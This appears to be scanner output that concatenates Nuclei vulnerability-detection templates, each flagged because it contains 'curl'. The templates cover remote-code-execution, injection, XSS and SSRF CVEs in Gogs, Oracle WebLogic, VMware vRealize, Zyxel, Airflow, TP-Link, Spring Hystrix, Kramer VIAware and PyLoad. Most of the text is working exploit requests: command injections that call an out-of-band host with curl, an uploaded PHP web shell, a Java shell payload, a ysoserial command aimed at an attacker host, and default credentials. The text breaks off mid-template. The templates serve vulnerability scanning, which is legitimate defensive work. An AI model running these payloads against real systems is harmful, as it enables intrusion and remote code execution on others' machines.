Observed string: "id: CVE-2022-0415info: name: Gogs <0.12.6 - Remote Command Execution author: theamanrawat severity: high description: | Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system. remediation: Fixed in version 0.12.6. reference: - https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284 - https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902 - https://nvd.nist.gov/vuln/detail/CVE-2022-0415 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-0415 cwe-id: CWE-434,CWE-20 epss-score: 0.1488 epss-percentile: 0.95273 cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:* metadata: verified: true max-request: 6 vendor: gogs product: gogs tags: cve,cve2022,rce,gogs,authenticated,huntr,intrusivehttp: - raw: - | GET /user/login HTTP/1.1 Host: {{Hostname}} - | POST /user/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}} - | GET /repo/create HTTP/1.1 Host: {{Hostname}} - | POST /repo/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on - | POST /{{username}}/{{randstr}}/upload-file HTTP/1.1 Host: {{Hostname}} Accept: application/json X-Requested-With: XMLHttpRequest X-Csrf-Token: {{auth_csrf}} Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395 -----------------------------313811965223810628771946318395 Content-Disposition: form-data; name="file"; filename="config" Content-Type: application/octet-stream [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true sshCommand = curl http://{{interactsh-url}} -I [remote "origin"] url = git@github.com:torvalds/linux.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master -----------------------------313811965223810628771946318395-- - | POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name= matchers-condition: and matchers: - type: word part: interactsh_protocol words: - dns - http - type: word part: body_1 words: - content="Gogs extractors: - type: regex name: csrf group: 1 regex: - name="_csrf" value="(.*)" internal: true - type: regex name: auth_csrf group: 1 regex: - name="_csrf" content="(.*)" internal: true - type: regex name: uuid group: 1 regex: - ' "uuid": "(.*)"' internal: true# digest: 4b0a00483046022100d0de9a6c1b72efadc8c02bafbcdb9ff5b63b844b20e7f91f616a531f6052cb26022100bac30bdf3623848d4e621700e6f48e61505a34bc12e9dbc46296101bc5f6cef8:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2022-0415.yaml, Observed string: "id: CVE-2020-14750info: name: Oracle WebLogic Server - Remote Command Execution author: princechaddha DhiyaneshDk severity: critical description: | Oracle WebLogic Server 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware obtain sensitive information modify data and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882 which is addressed in the October 2020 Critical Patch Update. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server. remediation: | Apply the latest security patches provided by Oracle to mitigate this vulnerability. reference: - https://github.com/pprietosanchez/CVE-2020-14750 - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750 - https://nvd.nist.gov/vuln/detail/CVE-2020-14750 - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-14750 epss-score: 0.97544 epss-percentile: 0.99996 cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: oracle product: fusion_middleware shodan-query: http.html:"Weblogic Application Server" tags: cve2020 cve rce oracle weblogic unauth kev packetstormhttp: - raw: - | @timeout: 10s POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: {{Hostname}} Accept: */* cmd: curl {{interactsh-url}} Content-Type: application/x-www-form-urlencoded _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe" "/c" cmd} : new String[]{"/bin/sh" "-c" cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); "); matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms DNS Interaction words: - "dns" - type: word part: header words: - "ADMINCONSOLESESSION=" - type: regex part: body regex: - '(.*)'# digest: 4b0a0048304602210089aca28d5d41776ea96aa0bb6616121eee0ef6ec762a650669fc5f6e650aab49022100c700af3059d9fd95fe63ddec43493d48232678dc50bc266a2f8cfaa26d4fcc09:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2020-14750.yaml Observed string: "id: CVE-2023-20887info: name: VMware VRealize Network Insight - Remote Code Execution author: sinsinology severity: critical description: | VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are vulnerable. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Apply the latest security patches provided by VMware to mitigate this vulnerability. reference: - https://www.vmware.com/security/advisories/VMSA-2023-0012.html - https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ - https://github.com/sinsinology/CVE-2023-20887 - http://packetstormsecurity.com/files/173761/VMWare-Aria-Operations-For-Networks-Remote-Command-Execution.html - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-20887 cwe-id: CWE-77 epss-score: 0.96408 epss-percentile: 0.99538 cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: vmware product: vrealize_network_insight shodan-query: title:"VMware vRealize Network Insight" fofa-query: title="VMware vRealize Network Insight" tags: cve2023,cve,packetstorm,vmware,rce,msf,vrealize,insight,oast,kevvariables: cmd: "curl {{interactsh-url}}"http: - raw: - | POST /saas./resttosaasservlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-thrift [1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`{{cmd}}`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}] matchers-condition: and matchers: - type: word part: body words: - '{"rec":' - type: word part: header words: - "application/x-thrift" - type: word part: body negative: true words: - "Provided invalid node Id" - "Invalid nodeId" - type: status status: - 200# digest: 4a0a00473045022100cef3e5e34cd635c23cf32fc104b9c643bc4b812046fc3e8ab1f2e0237b0c98c6022041d25ffbcfc8ed708d8e3cce28043e53ef71343b3a31238d065ba9f7e9d0f22a:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2023-20887.yaml Observed string: "id: CVE-2022-30525info: name: Zyxel Firewall - OS Command Injection author: h1ei1,prajiteshsingh severity: critical description: | An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. impact: | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system. remediation: | Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. reference: - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - https://github.com/rapid7/metasploit-framework/pull/16563 - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-30525 cwe-id: CWE-78 epss-score: 0.97482 epss-percentile: 0.99967 cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: zyxel product: usg_flex_100w_firmware shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rcehttp: - raw: - | POST /ztp/cgi-bin/handler HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: status status: - 500# digest: 4b0a00483046022100d2611a4bbd37c92e10c7c04c5287817c5276dc06e9595aa43f4c7e2d7f9d6f32022100e8b1382edb51ac7f80e2006d4ef501e49d529af2ea63b39cb9842b574f17f6db:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2022-30525.yaml Observed string: "id: CVE-2022-40127info: name: AirFlow < 2.4.0 - Remote Code Execution author: DhiyaneshDk,ritikchaddha severity: high description: | A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability. reference: - https://github.com/Mr-xn/CVE-2022-40127 - https://nvd.nist.gov/vuln/detail/CVE-2022-40127 - http://www.openwall.com/lists/oss-security/2022/11/14/2 - https://github.com/apache/airflow/pull/25960 - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-40127 cwe-id: CWE-94 epss-score: 0.28782 epss-percentile: 0.96752 cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: apache product: airflow shodan-query: title:"Sign In - Airflow" tags: cve,cve2022,airflow,rce,oast,authenticated,apachehttp: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} - | POST /login/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}}&_csrf_token={{csrf_token}} - | @timeout: 15s POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "conf": { "dag_run": "{{randstr}}" }, "dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}" "logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z" } matchers-condition: and matchers: - type: word part: body words: - 'state": "queued"' - type: word part: interactsh_protocol words: - dns - type: status status: - 200 extractors: - type: regex name: csrf_token group: 1 regex: - 'type="hidden" value="(.*?)">' internal: true# digest: 4a0a004730450220268a6975a87f86a812533542ac7994169de5175872889d429254a91734af5044022100b472c5440cfea767aec326fbd15a942a4d35efcd9f11e527f167068308b38d39:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2022-40127.yaml, Observed string: "id: CVE-2021-35464info: name: ForgeRock OpenAM <7.0 - Remote Code Execution author: madrobot severity: critical description: | ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability. reference: - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464 - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html - https://bugster.forgerock.org classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-35464 cwe-id: CWE-502 epss-score: 0.97262 epss-percentile: 0.99826 cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: forgerock product: am shodan-query: http.title:"OpenAM" tags: cve cve2021 packetstorm openam rce java kev forgerockhttp: - method: GET path: - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version' matchers-condition: and matchers: - type: word part: header words: - "Set-Cookie: JSESSIONID=" - type: word part: body words: - "Version Information -" - "openam/ccversion/Masthead.jsp" condition: or - type: status status: - 200# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='# digest: 4b0a0048304602210096ad692f00dcbf4f3af20af5a64849212f0d34f86c39fc4fb44827b84f7c71e1022100c49ca89081587287319c33037d60f573edf039decc7db504ba8c4f8be2da69e0:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2021-35464.yaml Observed string: "id: CVE-2021-21881info: name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection author: gy741 severity: critical description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability. impact: | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device. remediation: | Apply the latest firmware update provided by Lantronix to mitigate the vulnerability. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325 - https://nvd.nist.gov/vuln/detail/CVE-2021-21881 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2021-21881 cwe-id: CWE-78 epss-score: 0.97001 epss-percentile: 0.99723 cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:* metadata: max-request: 2 vendor: lantronix product: premierwave_2050_firmware tags: cve2021,cve,lantronix,rce,oast,ciscovariables: useragent: '{{rand_base(6)}}'http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Authorization: Basic dXNlcjp1c2Vy Content-Type: application/x-www-form-urlencoded ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' # - | POST / HTTP/1.1 Host: {{Hostname}} Authorization: Basic YWRtaW46UEFTUw== Content-Type: application/x-www-form-urlencoded ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' stop-at-first-match: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: {{useragent}}"# digest: 490a004630440220787afb24b4404fe795e842e2aaecd864176f0b281a8a029cc7f051d784b99d95022063b2263ccd44743fed77f74ab9037062e981c2179c736dd603756ff4753b1f46:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2021-21881.yaml, Observed string: "id: CVE-2021-41653info: name: TP-Link - OS Command Injection author: gy741 severity: critical description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field. impact: | Successful exploitation of this vulnerability can lead to unauthorized access data leakage and potential compromise of the entire network. remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109". reference: - https://k4m1ll0.com/cve-2021-41653.html - https://nvd.nist.gov/vuln/detail/CVE-2021-41653 - https://www.tp-link.com/us/press/security-advisory/ - http://tp-link.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-41653 cwe-id: CWE-94 epss-score: 0.95374 epss-percentile: 0.99205 cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: tp-link product: tl-wr840n_firmware tags: cve2021 cve tplink rce router tp-linkvariables: useragent: '{{rand_base(6)}}'http: - raw: - | POST /cgi?2 HTTP/1.1 Host: {{Hostname}} Content-Type: text/plain Referer: http://{{Hostname}}/mainFrame.htm Cookie: Authorization=Basic YWRtaW46YWRtaW4= [IPPING_DIAG#0 0 0 0 0 0#0 0 0 0 0 0]0 6 dataBlockSize=64 timeout=1 numberOfRepetitions=4 host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}') X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested - | POST /cgi?7 HTTP/1.1 Host: {{Hostname}} Content-Type: text/plain Referer: http://{{Hostname}}/mainFrame.htm Cookie: Authorization=Basic YWRtaW46YWRtaW4= [ACT_OP_IPPING#0 0 0 0 0 0#0 0 0 0 0 0]0 0 matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: {{useragent}}"# digest: 490a0046304402205742c2ebff8ce0fc7af74094966181c7ef1dae9ce633a2718335e5010e079d260220194ec4c580b0a470064374d97a3536dc10a47ccc4a195160d4e982e4276ac063:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2021-41653.yaml, Observed string: "id: CVE-2021-22053info: name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution author: forgedhallpass severity: high description: | Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]` the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions which can lead to code execution. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. remediation: | Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability. reference: - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053 - https://tanzu.vmware.com/security/cve-2021-22053 - https://nvd.nist.gov/vuln/detail/CVE-2021-22053 - https://github.com/trhacknon/Pocingit - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-22053 cwe-id: CWE-94 epss-score: 0.51942 epss-percentile: 0.97288 cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: vmware product: spring_cloud_netflix tags: cve cve2021 rce spring vmwarehttp: - method: GET path: - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/' - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/' matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: regex part: interactsh_request regex: - 'curl|CertUtil'# digest: 4a0a00473045022100b4d3fe94711032d1a972803e2c53190fdefe451c2d9218a6df5094091460bd3c022017cebf0f65907519fa5d09748a58c0d8480286435615ad8a2d569a9f669b6a06:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2021-22053.yaml Observed string: "id: CVE-2021-24910info: name: WordPress Transposh Translation <1.0.8 - Cross-Site Scripting author: Screamy severity: medium description: WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. remediation: | Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability. reference: - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17 - https://nvd.nist.gov/vuln/detail/CVE-2021-24910 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24910 cwe-id: CWE-79 epss-score: 0.00086 epss-percentile: 0.35299 cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: transposh product: transposh_wordpress_translation framework: wordpress tags: cve2021,cve,wordpress,wp-plugin,xss,wp,wpscan,transposhhttp: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=" matchers-condition: and matchers: - type: word part: body words: - '

' - '{"result":' condition: and - type: word part: header words: - "text/html" - type: status status: - 200# digest: 4a0a00473045022100d37fe0b4e214f6873d85a658650c7498aebf4e3ab8c22a05b2f65796d3e8928c022012536e11e361e1aee564b3dc6f01349c49f76792d86b982708b7c86bf3f3188f:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2021-24910.yaml Observed string: "id: CVE-2022-45835info: name: WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery author: theamanrawat severity: high description: | WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | An attacker can exploit this vulnerability to send arbitrary HTTP requests from the server, potentially leading to unauthorized access to internal resources or performing actions on behalf of the server. remediation: Fixed in version 2.0.0. reference: - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf - https://wordpress.org/plugins/phonepe-payment-solutions/ - https://nvd.nist.gov/vuln/detail/CVE-2022-45835 - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-45835 cwe-id: CWE-918 epss-score: 0.00359 epss-percentile: 0.71627 cpe: cpe:2.3:a:phonepe:phonepe:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: phonepe product: phonepe framework: wordpress tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,phonepe-payment-solutions,unauth,oast,phonepehttp: - raw: - | GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: body words: - "cURL Test for PhonePe" - type: status status: - 200# digest: 490a004630440220647e8f5f43a41c1a5aa3e3e63c2cfc8fe1a095dec58d83435c28fa7bd8670a06022005456b8e4eaa85755e6312e7fb4b336d568fd2f5df3868e19a0bff431f1b0174:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2022-45835.yaml Observed string: "id: CVE-2021-36356info: name: Kramer VIAware - Remote Code Execution author: gy741 severity: critical description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames. remediation: | Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface. reference: - https://www.exploit-db.com/exploits/50856 - https://nvd.nist.gov/vuln/detail/CVE-2021-36356 - https://nvd.nist.gov/vuln/detail/CVE-2021-35064 - https://write-up.github.io/kramerav/ - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-36356 cwe-id: CWE-434 epss-score: 0.90558 epss-percentile: 0.98752 cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: kramerav product: viaware tags: cve2021,cve,viaware,kramer,edb,rce,intrusive,krameravvariables: useragent: "{{rand_base(6)}}"http: - raw: - | POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php - | GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - http - type: word part: interactsh_request words: - "User-Agent: {{useragent}}"# digest: 490a0046304402207d315039be7b2374857658abe5c9080339493506959d103b741bd2b02930cb020220187d49b26985f25c39c9ba0317f1b0bf0540895f0ee8e3b35b33f10f2b8e4c86:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2021-36356.yaml Observed string: "id: CVE-2023-0297info: name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) author: MrHarshvardhan,DhiyaneshDk severity: critical description: | Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system. remediation: | Upgrade PyLoad to a version that is not affected by this vulnerability. reference: - https://www.exploit-db.com/exploits/51532 - https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/ - https://nvd.nist.gov/vuln/detail/CVE-2022-1058 - http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.html - http://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-0297 cwe-id: CWE-94 epss-score: 0.35807 epss-percentile: 0.96764 cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: pyload product: pyload shodan-query: html:"pyload" zoomeye-query: app:"pyLoad" tags: cve,cve2023,huntr,packetstorm,rce,pyload,oastvariables: cmd: "curl {{interactsh-url}}"http: - raw: - | GET /flash/addcrypted2 HTTP/1.1 Host: {{Hostname}} - | POST /flash/addcrypted2 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded 